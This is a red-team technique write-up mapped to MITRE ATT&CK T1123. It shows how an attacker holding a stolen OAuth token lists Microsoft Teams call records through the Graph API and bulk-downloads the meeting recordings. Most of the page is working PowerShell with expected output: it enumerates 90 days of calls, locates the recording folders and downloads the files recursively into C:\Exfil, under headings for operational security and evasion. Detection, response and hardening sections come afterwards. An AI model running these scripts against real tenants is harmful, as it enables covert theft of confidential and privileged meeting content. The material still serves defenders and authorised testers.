| Attribute | Details |
|---|---|
| Technique ID | COLLECT-CALL-001 |
| MITRE ATT&CK v18.1 | T1123 - Audio Capture |
| Tactic | Collection |
| Platforms | M365, Microsoft Teams |
| Severity | Critical |
| Technique Status | ACTIVE |
| Last Verified | 2026-01-10 |
| Affected Versions | Teams 2019 - 2025, Office 365 E3+ |
| Patched In | N/A - Feature-based collection |
| Author | SERVTEP – Artur Pchelnikau |
Concept: Teams Call Recording Extraction exploits the legitimate Teams call recording capability to systematically harvest audio/video recordings of sensitive organizational conversations. Attackers leverage compromised credentials with access to recorded calls or abuse Microsoft Graph API (/communications/callRecords) to enumerate and download call recordings stored in Microsoft Stream, OneDrive, or SharePoint. Teams meetings are frequently recorded and archived for compliance and training; attackers accessing these recordings gain complete audio/video content of strategic decisions, negotiations, and confidential discussions without detection if recordings are accessed through legitimate user permissions.
Attack Surface: Microsoft Graph Call Records API (/communications/callRecords), Microsoft Stream video repositories, OneDrive/SharePoint recording folders, Teams meeting recording metadata endpoints, and call recording access controls.
Business Impact: Complete compromise of voice communications security and real-time conversation espionage. Attackers gain access to full audio recordings of executive meetings, board discussions, M&A negotiations, investor calls, and customer confidentiality conversations. The impact is especially critical for legal firms, healthcare organizations, and financial institutions where voice recordings contain sensitive client privileged communications (attorney-client privilege, doctor-patient confidentiality, investment advice).
Technical Context: Extraction occurs within minutes to hours depending on recording storage location and download bandwidth. Call recordings are large files (100MB-2GB per hour) requiring significant exfiltration bandwidth. The technique is extremely difficult to detect because Teams call recording access appears as legitimate user behavior in most organizations.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | 5.6.1 | Ensure Teams meeting recordings are protected and access-controlled |
| DISA STIG | WN10-CC-000540 | Enforce recording encryption and access restrictions |
| CISA SCuBA | TEAMS.2 | Ensure recording retention and deletion policies are enforced |
| NIST 800-53 | AU-2, SC-7 | Audit Events; Boundary Protection |
| GDPR | Art. 32, Art. 33 | Security of Processing; Breach Notification |
| HIPAA | 45 CFR 164.312(a)(2)(i) | Recording protection and access controls |
| FINRA | 4530(c) | Recording retention and compliance |
| NIS2 | Art. 21 | Cyber Risk Management Measures |
| ISO 27001 | A.12.4.1 | Event Logging and Monitoring |
Required Privileges:
Calls.AccessMedia.All or CallRecords.Read.All scopeRequired Access:
https://graph.microsoft.com (port 443, HTTPS)Supported Versions:
Tools:
Supported Versions: Teams 2019-2025
Objective: Connect to Microsoft Graph and enumerate all call records accessible to compromised user.
Command:
# Authenticate using stolen OAuth token
$token = "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6Ik5..." # Stolen token with CallRecords.Read.All scope
$headers = @{
"Authorization" = "Bearer $token"
"Content-Type" = "application/json"
}
# List all call records from last 30 days
$callRecords = (Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/communications/callRecords?`$filter=createdDateTime ge " + (Get-Date).AddDays(-30).ToString("yyyy-MM-ddT00:00:00Z") `
-Headers $headers -Method Get).value
foreach ($record in $callRecords) {
Write-Host "Call ID: $($record.id)"
Write-Host " Duration: $($record.duration) seconds"
Write-Host " Participants: $($record.participants.Count)"
Write-Host " Created: $($record.createdDateTime)"
Write-Host " Recording: $($record.recordingInfo)"
}
Write-Host "Total call records found: $($callRecords.Count)"
Expected Output:
Call ID: 12345-call-id-1
Duration: 3600 seconds
Participants: 15
Created: 2025-12-15T10:00:00Z
Recording: @{recordingStatus=success}
Call ID: 12345-call-id-2
Duration: 7200 seconds
Participants: 8
Created: 2025-12-10T14:30:00Z
Recording: @{recordingStatus=success}
Total call records found: 87
What This Means:
OpSec & Evasion:
Objective: Retrieve recording metadata and obtain download links for archived call recordings.
Command:
# Get details of specific call record including recording information
$callRecordId = "12345-call-id-1"
$callDetail = Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/communications/callRecords/$callRecordId" `
-Headers $headers -Method Get
# Check if recording exists
if ($callDetail.sessions -and $callDetail.sessions[0].recording) {
Write-Host "Recording found for call: $callRecordId"
Write-Host "Recording metadata: $($callDetail.sessions[0].recording | ConvertTo-Json -Depth 5)"
# Get session details (contains streaming URLs)
$sessions = (Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/communications/callRecords/$callRecordId/sessions" `
-Headers $headers -Method Get).value
foreach ($session in $sessions) {
if ($session.modalities -contains "video" -or $session.modalities -contains "audio") {
Write-Host "Session $($session.id):"
Write-Host " Modalities: $($session.modalities -join ', ')"
Write-Host " Caller: $($session.caller)"
Write-Host " Callee: $($session.callee)"
}
}
} else {
Write-Host "No recording found for call: $callRecordId"
}
Expected Output:
Recording found for call: 12345-call-id-1
Recording metadata: {
"@odata.type": "#microsoft.graph.recordingInfo",
"recordingStatus": "success",
"recordingStartDateTime": "2025-12-15T10:00:15Z",
"recordingDuration": "PT1H15M30S"
}
Session abc-123:
Modalities: audio, video
Caller: user1@company.com
Callee: user2@company.com
What This Means:
OpSec & Evasion:
Objective: Locate recording storage in Microsoft Stream or OneDrive and initiate download.
Command:
# Teams recordings stored in Microsoft Stream or OneDrive
# Approach 1: Query Stream for recordings
$streamUri = "https://graph.microsoft.com/v1.0/me/drive/root/children?`$filter=startswith(name, 'Microsoft Teams Meeting Recording')"
$recordings = (Invoke-RestMethod -Uri $streamUri -Headers $headers -Method Get).value
foreach ($recording in $recordings) {
Write-Host "Found recording: $($recording.name) | Size: $($recording.size) | Modified: $($recording.lastModifiedDateTime)"
# Get download URL (valid for 1 hour)
$downloadUrl = $recording['@microsoft.graph.downloadUrl']
# Download recording
$filename = $recording.name
Invoke-WebRequest -Uri $downloadUrl -OutFile "C:\Exfil\$filename" `
-Headers @{"Authorization" = "Bearer $token"}
Write-Host "Downloaded: $filename"
}
Command (Alternative - Direct Stream Access):
# Alternative: Query SharePoint/OneDrive for Teams recordings folder
$teamsRecordingsFolder = (Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/me/drive/root/children?`$filter=name eq 'Microsoft Teams Meeting Recording'" `
-Headers $headers).value[0]
if ($teamsRecordingsFolder) {
$recordingFiles = (Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/me/drive/items/$($teamsRecordingsFolder.id)/children" `
-Headers $headers).value
foreach ($file in $recordingFiles) {
Write-Host "Recording file: $($file.name) | Size: $([math]::Round($file.size/1MB))MB"
# Download
$url = $file['@microsoft.graph.downloadUrl']
Invoke-WebRequest -Uri $url -OutFile "C:\Exfil\$($file.name)"
}
}
Expected Output:
Found recording: Microsoft Teams Meeting Recording 2025-12-15 1000-1115 UTC | Size: 1073741824 | Modified: 2025-12-15T11:30:00Z
Downloaded: Microsoft Teams Meeting Recording 2025-12-15 1000-1115 UTC.mp4
Recording file: Executive Briefing 2025-12-10.mp4 | Size: 2048MB
What This Means:
OpSec & Evasion:
Objective: Extract all call records from extended historical period (90+ days) for comprehensive meeting intelligence gathering.
Command:
# Query call records from past 90 days
$startDate = (Get-Date).AddDays(-90).ToString("yyyy-MM-ddT00:00:00Z")
$endDate = (Get-Date).ToString("yyyy-MM-ddT23:59:59Z")
$filter = "`$filter=createdDateTime ge $startDate and createdDateTime le $endDate"
$uri = "https://graph.microsoft.com/v1.0/communications/callRecords?$filter&`$top=999"
$allRecords = @()
do {
$page = Invoke-RestMethod -Uri $uri -Headers $headers -Method Get
$allRecords += $page.value
$uri = $page.'@odata.nextLink'
} while ($null -ne $uri)
Write-Host "Total call records (90 days): $($allRecords.Count)"
# Filter for recorded calls only
$recordedCalls = $allRecords | Where-Object { $_.recordingInfo.recordingStatus -eq "success" }
Write-Host "Recorded calls: $($recordedCalls.Count)"
# Export call record metadata
$recordedCalls | Select-Object id, createdDateTime, duration, @{Name="Participants";Expression={$_.participants.Count}} |
ConvertTo-Csv -NoTypeInformation | Out-File "C:\Exfil\CallRecords_Metadata.csv"
Expected Output:
Total call records (90 days): 4523
Recorded calls: 1842
What This Means:
OpSec & Evasion:
Supported Versions: Teams 2019+
Objective: Find SharePoint/OneDrive folder where Teams recordings are automatically saved.
Command:
# Teams recordings stored in specific OneDrive folder: "Microsoft Teams Meeting Recording"
$recordingsFolders = (Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/me/drive/root/children?`$filter=name eq 'Microsoft Teams Meeting Recordings'" `
-Headers $headers).value
if ($recordingsFolders.Count -eq 0) {
# Alternative folder name
$recordingsFolders = (Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/me/drive/root/children?`$filter=startswith(name, 'Microsoft Teams')" `
-Headers $headers).value | Where-Object { $_.folder -ne $null }
}
foreach ($folder in $recordingsFolders) {
Write-Host "Recordings folder: $($folder.name) | ID: $($folder.id)"
}
Expected Output:
Recordings folder: Microsoft Teams Meeting Recordings | ID: folder-id-123
What This Means:
Objective: List all recording files and initiate bulk download exfiltration.
Command:
# Enumerate all files in recordings folder
$folderId = "folder-id-123"
function Get-RecordingsRecursive {
param ($FolderId)
$items = (Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/me/drive/items/$FolderId/children" `
-Headers $headers -Method Get).value
foreach ($item in $items) {
if ($item.folder -ne $null) {
# Recursive call for subfolders
Get-RecordingsRecursive -FolderId $item.id
} else {
# Process file
if ($item.name -like "*.mp4" -or $item.name -like "*.m4a" -or $item.name -like "*.webm") {
Write-Host "Recording: $($item.name) | Size: $([math]::Round($item.size/1MB))MB | Modified: $($item.lastModifiedDateTime)"
# Download
$url = $item['@microsoft.graph.downloadUrl']
Invoke-WebRequest -Uri $url -OutFile "C:\Exfil\$($item.name)" -Headers $headers
}
}
}
}
Get-RecordingsRecursive -FolderId $folderId
Expected Output:
Recording: Executive Strategy Session 2025-12-15.mp4 | Size: 1024MB | Modified: 2025-12-15T12:00:00Z
Recording: Board Meeting Minutes 2025-12-10.mp4 | Size: 2048MB | Modified: 2025-12-10T15:30:00Z
Recording: Acquisition Discussion 2025-12-05.mp4 | Size: 1536MB | Modified: 2025-12-05T10:15:00Z
What This Means:
OpSec & Evasion:
API Access Patterns:
/communications/callRecords API requests/communications/callRecords/{id} metadata queries for recording statusLocal Indicators (If Downloaded to Endpoint):
C:\Exfil\, C:\Temp\, or removable drivesCloud Indicators:
Cloud Logs:
Search-UnifiedAuditLog -Operations FileDownloaded -StartDate (Get-Date).AddDays(-30) | Where-Object { $_.AuditData -like "*Microsoft Teams Meeting*" }/communications/callRecordsSearch-UnifiedAuditLog -Operations FileAccessed,FileDownloaded -UserIds "compromised-user@company.com"Local Artifacts (Windows Endpoint):
C:\Exfil\, timestamps indicating download timing# Revoke all OAuth tokens for user
Revoke-AzureADUserAllRefreshToken -ObjectId "compromised-user-id"
# Disable Teams for compromised user
Set-CsUser -Identity "compromised-user@company.com" -Enabled $false
# Reset password
Set-AzADUser -ObjectId "compromised-user-id" -PasswordProfile @{
Password = [System.Web.Security.Membership]::GeneratePassword(32, 8)
ForceChangePasswordNextLogin = $true
}
# Export call records accessed by attacker
Search-UnifiedAuditLog -Operations FileDownloaded -UserIds "compromised-user-email" -StartDate (Get-Date).AddDays(-30) |
Where-Object { $_.AuditData -like "*Teams*Recording*" } |
Export-Csv "C:\Evidence\Recording_Downloads.csv"
# List all call records from compromised user
Get-AzureADUserMembership -ObjectId "compromised-user-id" |
Export-Csv "C:\Evidence\User_Teams_Memberships.csv"
# Update call recording retention policies (delete old recordings)
Set-CsTeamsMeetingPolicy -Identity Global -RecordingStorageMode Stream
# Delete recordings accessed by attacker
Get-PnPListItem -List "Microsoft Teams Meeting Recordings" |
Where-Object { $_.FieldValues['Modified'] -gt (Get-Date).AddDays(-7) } |
ForEach-Object { Remove-PnPListItem -List "Microsoft Teams Meeting Recordings" -Identity $_.Id -Force }
Enforce Call Recording Access Controls: Applies To Versions: Teams 2019+
Manual Steps (Teams Admin Center):
Restrict Recording AccessDisable Automatic Recording by Default: Applies To Versions: Teams 2019+
Manual Steps:
Implement Conditional Access for Recording Downloads: Applies To Versions: Entra ID all versions
Manual Steps (Azure Portal):
Require MFA for Recording DownloadsEnable Recording Encryption at Rest: Applies To Versions: Office 365 E5 / Premium Advanced
Manual Steps:
Implement DLP Policy for Recordings:
Manual Steps:
Prevent Recording Exfiltration# Verify recording retention policy
Get-CsTeamsMeetingPolicy | Select-Object Identity, RecordingStorageMode, RecordingRetention
# Verify Conditional Access policies
Get-AzureADMSConditionalAccessPolicy | Where-Object { $_.DisplayName -like "*Recording*" }
# Expected Output (If Secure):
# RecordingStorageMode: Stream
# RecordingRetention: 180 days
# Conditional Access: Enabled with MFA requirement
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | [IA-PHISH-001] Device Code Phishing | Attacker compromises Teams user via phishing |
| 2 | Credential Access | [CA-TOKEN-001] OAuth Token Theft | Stolen token with CallRecords.Read.All scope |
| 3 | Collection | [COLLECT-CALL-001] | Enumerate and download call recordings via Graph API |
| 4 | Exfiltration | [CA-UNSC-007] Cloud Storage Data Theft | Recordings uploaded to attacker-controlled cloud storage |
| 5 | Impact | Corporate Espionage / Insider Trading | Strategic meeting content analyzed for competitive intelligence |
Test Name: Extract Teams Call Recordings via Graph API
Supported Versions: Teams 2019+
Command:
Invoke-AtomicTest T1123 -TestNumbers 3
Cleanup:
Invoke-AtomicTest T1123 -TestNumbers 3 -Cleanup
Reference: Atomic Red Team - T1123